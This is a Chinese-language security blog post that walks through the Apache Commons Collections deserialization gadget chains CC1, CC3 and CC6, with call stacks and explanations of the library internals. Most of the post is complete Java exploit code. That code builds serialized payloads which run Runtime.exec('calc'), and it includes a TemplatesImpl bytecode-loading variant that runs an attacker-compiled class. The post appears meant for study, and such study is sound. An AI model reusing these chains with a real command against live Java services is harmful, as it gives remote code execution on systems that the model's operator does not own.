前言
个人CC链分析顺序如下: CC1 -> CC6 -> CC3
CC1分析
影响版本
commons-collections 3.1 ~ 3.2.1
JDK8u71 之前
CC1_LazyMap
栈调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
|
代码分析
从后往前分析
InvokerTransformer
类实现了Transformer
接口,查看Transformer
接口(代码如下)实现了transform
方法,InvokerTransformer
是一个实现类,看看InvokerTransformer.transform
在做什么
1 2 3 4
| package org.apache.commons.collections; public interface Transformer { Object transform(Object var1); }
|
InvokerTransformer.transform
做了一个反射操作,根据这个格式写一个弹计算器的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| package CC;
import org.apache.commons.collections.functors.InvokerTransformer; import java.lang.reflect.Method;
public class CC1_1 { public static void main(String[] args) throws Exception { Runtime input = Runtime.getRuntime(); Class cls = input.getClass(); Method method = cls.getMethod("exec", String.class); method.invoke(input, "calc"); InvokerTransformer invokertransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); invokertransformer.transform(input);
} }
|
这里第一部分是根据InvokerTransformer.transform
方法中的反射格式写的调用方式,第二部分是构造一个能够执行Runtime.getRuntime().exec("calc")
的InvokerTransformer
类并调用它的transform
方法。接着找一个调用了InvokerTransformer.transform
方法的函数
这里用的是LazyMap
类get
方法,它的factory
成员变量会调用transform
方法,并且LazyMap
的构造方法中factory
是可以为Transformer
类,继续构造对应代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| package CC;
import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.util.HashMap;
public class CC1_1 { public static void main(String[] args) throws Exception { Runtime input = Runtime.getRuntime();
InvokerTransformer invokertransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); LazyMap lazymap = (LazyMap) LazyMap.decorate(new HashMap(),invokertransformer); lazymap.get(input); } }
|
测试上述代码可以弹计算器后,继续寻找调用LazyMap.get
方法的地方
AnnotationInvocationHandler
类invoke
方法调用它的memberValues
成员变量,并且这个var4
变量是可控的(自己传入的),查看AnnotationInvocationHandler
类构造方法
首先注意到类定义时没有用public class
而是class
而已,说明这个类只能在该包内访问,这里需要通过反射的方式进行处理构造方法中的var1
是一个注释类,var2
是一个Map
类这个刚好可以用赋值LazyMap
但是这里有个问题,查看整个AnnotationInvocationHandler.invoke
会发现var4
变量是一个String类,与想要的Runtime类有所差别,这时候需要重新规划链子,此处引入一个新的类ChainedTransformer
ChainedTransformer.transform
方法如下,它是调用iTransformers
数组中每个变量transform方法,并且每次调用后的object变量将会作为下次transform方法的参数进行传入,实现一个类似递归调用的形式
接着继续引入一个类ConstantTransformer
类,它的transform方法是接收一个Object,但是return的内容是它自身的iConstant
成员变量,并且这个成员变量是一个Object类型,说明了这里是可控的
在引入这两个类后,编写的代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| package CC;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class CC1_1 { public static void main(String[] args) throws Exception { Runtime input = Runtime.getRuntime();
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(input), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; Transformer transformerChain = new ChainedTransformer(transformers);
LazyMap lazymap = (LazyMap) LazyMap.decorate(new HashMap(),transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationIHconstructor = cls.getDeclaredConstructor(Class.class, Map.class); annotationIHconstructor.setAccessible(true); Object annotationIH = annotationIHconstructor.newInstance(Override.class, lazymap);
Method annotationIHmethod = cls.getDeclaredMethod("invoke", Object.class, Method.class, Object[].class); annotationIHmethod.setAccessible(true);
Method m = Class.forName("com.atao.Person").getMethod("Action"); annotationIHmethod.invoke(annotationIH, null, m, null); } }
|
注意点:AnnotationInvocationHandler.invoke
方法中第二个参数接收的method类要是一个无参的方法,这样才能进入else语句走到this.memberValues.get(var4)
接下来的内容需要有Java动态代理的基础
AnnotationInvocationHandler
类中是实现InvocationHandler
接口,表明了他是可以做动态代理的。思路为利用AnnotationInvocationHandler
代理构造的Map类,在进行反序列化进入readObject
方法时,当Map
调用任何方法都会进到代理类的AnnotationInvocationHandler.invoke
方法中,从而触发后续的链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| package CC;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map;
public class CC1_1 { public static void main(String[] args) throws Exception { Runtime input = Runtime.getRuntime();
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(input), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; Transformer transformerChain = new ChainedTransformer(transformers);
LazyMap lazymap = (LazyMap) LazyMap.decorate(new HashMap(),transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationIHconstructor = cls.getDeclaredConstructor(Class.class, Map.class); annotationIHconstructor.setAccessible(true); InvocationHandler annotationIH = (InvocationHandler) annotationIHconstructor.newInstance(Override.class, lazymap); Map proxymap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, annotationIH); annotationIH = (InvocationHandler) annotationIHconstructor.newInstance(Override.class, proxymap); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin")); out.writeObject(annotationIH); out.close(); ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.bin")); in.readObject(); } }
|
结构好的代码是上面这样的,但是当运行的时候会发现报错了。因为Runtime类并没有实现Serializable接口,不能进行序列化,这时候需要继续拆解Runtime input = Runtime.getRuntime();这条代码
已知Class类是可以序列化,可以利用Runtime.class获取getRuntime方法,然后利用invoke生成实例,代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| package CC;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map;
public class CC1_1 { public static void main(String[] args) throws Exception { Class c = Runtime.class; Method rcemethod = c.getMethod("getRuntime"); Runtime r = (Runtime) rcemethod.invoke(null); r.exec("calc");
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class}, new Object[]{"getRuntime"}), new InvokerTransformer("invoke", new Class[]{Object.class}, new Object[]{null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; } }
|
EXP
最后就可以把全部代码合起来,这里是运行环境是Java7
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| package CC;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map;
public class CC1_1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; Transformer transformerChain = new ChainedTransformer(transformers);
LazyMap lazymap = (LazyMap) LazyMap.decorate(new HashMap(),transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationIHconstructor = cls.getDeclaredConstructor(Class.class, Map.class); annotationIHconstructor.setAccessible(true); InvocationHandler annotationIH = (InvocationHandler) annotationIHconstructor.newInstance(Override.class, lazymap); Map proxymap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, annotationIH); annotationIH = (InvocationHandler) annotationIHconstructor.newInstance(Override.class, proxymap);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin")); out.writeObject(annotationIH); out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.bin")); in.readObject(); } }
|
栈调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() AbstractInputCheckedMapDecorator.setValue() TransformedMap.checkSetValue() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
|
代码分析
这条链子是将LazyMap
类改用了TransformedMap
类,链子后半段的实现是相同的,前半段进行修改
TransformedMap.checkSetValue
方法中会调用valueTransformer
成员变量的transform
方法
接着找一个调用TransformedMap.checkSetValue
方法的地方
这里TransformedMap
的抽象类AbstractInputCheckedMapDecorator
中setValue
调用了checkSetValue
方法
这里可以理解为Map
被TransformedMap
进行了修饰,当你要处理其Map
的value
值是会回调TransformedMap
进行处理,然后要处理Map
时调用了setValue
,但是TransformedMap
没有setValue
,于是找到了AbstractInputCheckedMapDecorator
父类的方法调用,checkSetValue
方法TransformedMap
类它自己有,所以又回到TransformedMap
处理
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| package CC;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map;
public class CC1_2 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; Transformer transformerChain = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<Object,Object>(); map.put("value","bbb"); TransformedMap transformedmap = (TransformedMap) TransformedMap.decorate(map,null,transformerChain);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationIHconstructor = cls.getDeclaredConstructor(Class.class, Map.class); annotationIHconstructor.setAccessible(true); InvocationHandler annotationIH = (InvocationHandler) annotationIHconstructor.newInstance(Target.class, transformedmap); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin")); out.writeObject(annotationIH); out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.bin")); in.readObject(); } }
|
CC3分析
CC3
是通过加载字节码的方式实现代码执行的。在ysoserial
中对于CC3
的利用链没有使用InvokerTransformer
类,这是因为在Java反序列化过滤器中,该类已经被加到了黑名单中。此处将使用com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
类作为替代。
影响版本
commons-collections 3.1 ~ 3.2.1
JDK8u71 之前
栈调用
1 2 3 4 5 6 7 8 9
| ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() AbstractInputCheckedMapDecorator.setValue() TransformedMap.checkSetValue() ChainedTransformer.transform() ConstantTransformer.transform() InstantiateTransformer.transform() TrAXFilter.TrAXFilter() TemplatesImpl.newTransformer()
|
代码分析
TemplatesImpl
类中定义了TransletClassLoader
静态类,该类的作用是实现类加载的
1 2 3 4 5 6 7 8 9 10
| package com.sun.org.apache.xalan.internal.xsltc.trax; public final class TemplatesImpl implements Templates, Serializable { static final class TransletClassLoader extends ClassLoader { Class defineClass(final byte[] b) { return defineClass(null, b, 0, b.length); } } }
|
它的defineClass
方法没有使用显式声明,说明其作用域为default
,相对于它的父类ClassLoader
中的defineClass
方法为protected
,这里的安全性是降低的,因为default
作用域表明了可以在包内调用,即只要在com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
内调用都是可行的
1 2 3 4 5 6 7
| TemplatesImpl#newTransformer() ↓↓↓ TemplatesImpl#getTransletInstance() ↓↓↓ TemplatesImpl#defineTransletClasses() ↓↓↓ TransletClassLoader#defineClass()
|
可以找到上述的调用链从而实现类加载
首先需要编写一个恶意类,该类需要继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
类
1 2 3 4 5 6 7 8 9 10 11 12 13
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class atao extends AbstractTranslet { public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} public atao() { System.out.println("Hello World!"); } }
|
使用命令javac atao.java
编译成字节码,编写TemplatesImpl#newTransformer
加载字节码的Demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.TransformerConfigurationException; import java.io.*; import java.lang.reflect.Field;
public class Demo { public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException { File file = new File("atao.class"); FileInputStream fis = new FileInputStream(file);
long fileSize = file.length(); byte[] bytes = new byte[(int) fileSize]; fis.read(bytes);
TemplatesImpl templates = new TemplatesImpl();
Class c = TemplatesImpl.class; Field bytecodes = c.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates, new byte[][] {bytes});
Field name = c.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "atao");
Field tfactory = c.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates, new TransformerFactoryImpl()); templates.newTransformer(); } }
|
通过上述的触发方式,可以修改CC1
中 Transformer[]
中的触发反射的代码可构成:CC1
利用类加载触发恶意代码。不过开头说了InvokerTransformer
类在后续的Java反序列化中是被过滤的,所以接下来需要看看com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
类
1 2 3 4 5 6 7 8 9
| package com.sun.org.apache.xalan.internal.xsltc.trax; public class TrAXFilter extends XMLFilterImpl { public TrAXFilter(Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl(_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); } }
|
在TrAXFilter
类的构造方法中直接调用了templates.newTransformer()
,并且此处的templates
是可控的,可以利用
接着还需要引入一个类org.apache.commons.collections.functors.InstantiateTransformer
,该类为Transformer
实现类,这里看一下InstantiateTransformer#transform
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| package org.apache.commons.collections.functors; public class InstantiateTransformer implements Transformer, Serializable { public Object transform(Object input) { try { if (!(input instanceof Class)) { } else { Constructor con = ((Class)input).getConstructor(this.iParamTypes); return con.newInstance(this.iArgs); } } catch (NoSuchMethodException var3) { } }
|
其中调用了con.newInstance(this.iArgs)
,所以可以利用该类的transform
方法来触发构造方法(注:这里是触发TrAXFilter类的构造方法),从而实现类加载,导致恶意函数执行。并且这里就可以不需要使用InvokerTransformer
类了
前面的内容与CC1
是一样的
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| package CC;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Map;
public class CC3_1 { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, NoSuchMethodException, ClassNotFoundException, InvocationTargetException, InstantiationException { File file = new File("atao.class"); FileInputStream fis = new FileInputStream(file);
long fileSize = file.length(); byte[] bytes = new byte[(int) fileSize]; fis.read(bytes);
TemplatesImpl templates = new TemplatesImpl();
Class c = TemplatesImpl.class; Field bytecodes = c.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates, new byte[][] {bytes});
Field name = c.getDeclaredField("_name"); name.setAccessible(true); name.set(templates, "atao");
Field tfactory = c.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates, new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{ Templates.class }, new Object[]{ templates }) }; Transformer transformerChain = new ChainedTransformer(transformers); HashMap<Object,Object> map = new HashMap<Object,Object>(); map.put("value","bbb"); TransformedMap transformedmap = (TransformedMap) TransformedMap.decorate(map,null,transformerChain); Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationIHconstructor = cls.getDeclaredConstructor(Class.class, Map.class); annotationIHconstructor.setAccessible(true); InvocationHandler annotationIH = (InvocationHandler) annotationIHconstructor.newInstance(Target.class, transformedmap);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin")); out.writeObject(annotationIH); out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.bin")); in.readObject(); } }
|
CC6分析
在jdk8u71
后,sun.reflect.annotation.AnnotationInvocationHandler#readObject
方法被改写,导致没有调用memberValues.entrySet()
使得链子不能往下调用。这里LazyMap
类往后的链子可以继续利用,只需要找一个前置的触发点,CC6就是在这个前提下被挖掘出来的。
影响版本
commons-collections 3.1 ~ 3.2.1
JDK 无限制
栈调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| ObjectInputStream.readObject() HashMap.readObject() HashMap.putVal() HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
|
代码分析
之前的链子是通过LazyMap#get
触发的后续,所以这里我们需要找一个有调用x.get(Object)
的点,其中x
还是可控的。
1 2 3 4 5 6 7 8 9 10 11
| package org.apache.commons.collections.keyvalue; public class TiedMapEntry implements Entry, KeyValue, Serializable { public Object getValue() { return this.map.get(this.key); }
public int hashCode() { Object value = this.getValue(); return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); } }
|
这里org.apache.commons.collections.keyvalue.TiedMapEntry#getValue
方法很好的符合了预期,通过自身的成员变量map
(可控)调用了get
方法。
接着getValue()
方法可以通过org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode
进行触发。
后续的触发链就可以找URLDNS
触发java.net.URL#hashCode
的那部分。
坑点
因为HashMap#put
会触发hash
方法从而调用整条链子
1 2 3 4 5 6 7 8 9 10 11 12
| package org.apache.commons.collections.map; public class LazyMap extends AbstractMapDecorator implements Map, Serializable { public Object get(Object key) { if (!this.map.containsKey(key)) { Object value = this.factory.transform(key); this.map.put(key, value); return value; } else { return this.map.get(key); } } }
|
在org.apache.commons.collections.map.LazyMap#get
需要走到if
中,但是触发过后整条链子后,key
就会被写到LazyMap
中,导致反序列化时并不会走if
语句而是走else
语句,所以这里需要使用LazyMap#remove
将Key
删除
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| package CC;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.HashMap;
public class CC6_1 { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
Transformer[] fake = new Transformer[] { new ConstantTransformer(1)};
Transformer transformerChain = new ChainedTransformer(fake);
LazyMap lazymap = (LazyMap) LazyMap.decorate(new HashMap(), transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "aaa"); HashMap<TiedMapEntry, Object> hashmap = new HashMap<TiedMapEntry, Object>(); hashmap.put(tiedMapEntry, "bbb");
lazymap.remove("aaa");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(transformerChain, transformers);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin")); out.writeObject(hashmap);
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.bin")); in.readObject();
} }
|
这里如果不使用LazyMap#remove
删除键值对的关联,还有另外一种就是替换HashMap
中Key
的值。这里参考美团的文章可知,键值对是存放在了Node[] table
中,这里的Node
类是HashMap
中自定义的静态类。
1 2 3 4 5 6 7 8 9 10 11
| package java.util; public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable { static class Node<K,V> implements Map.Entry<K,V> { final int hash; final K key; V value; Node<K,V> next; } }
|
可以通过反射先取出HashMap#table
的值(这里由于没有Node
类,需要强转为Object
),接着再从中取出Key
进行修改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| package CC;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.HashMap;
public class CC6_2 { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
Transformer transformerChain = new ChainedTransformer(transformers);
LazyMap lazymap = (LazyMap) LazyMap.decorate(new HashMap(), transformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "aaa");
HashMap<Object, Object> hashmap = new HashMap<Object, Object>(); hashmap.put("aaa", "bbb");
Field table = HashMap.class.getDeclaredField("table"); table.setAccessible(true); Object[] nodearray = (Object[]) table.get(hashmap);
Object node = nodearray[0];
Field key = node.getClass().getDeclaredField("key"); key.setAccessible(true); key.set(node, tiedMapEntry);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin")); out.writeObject(hashmap);
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.bin")); in.readObject();
} }
|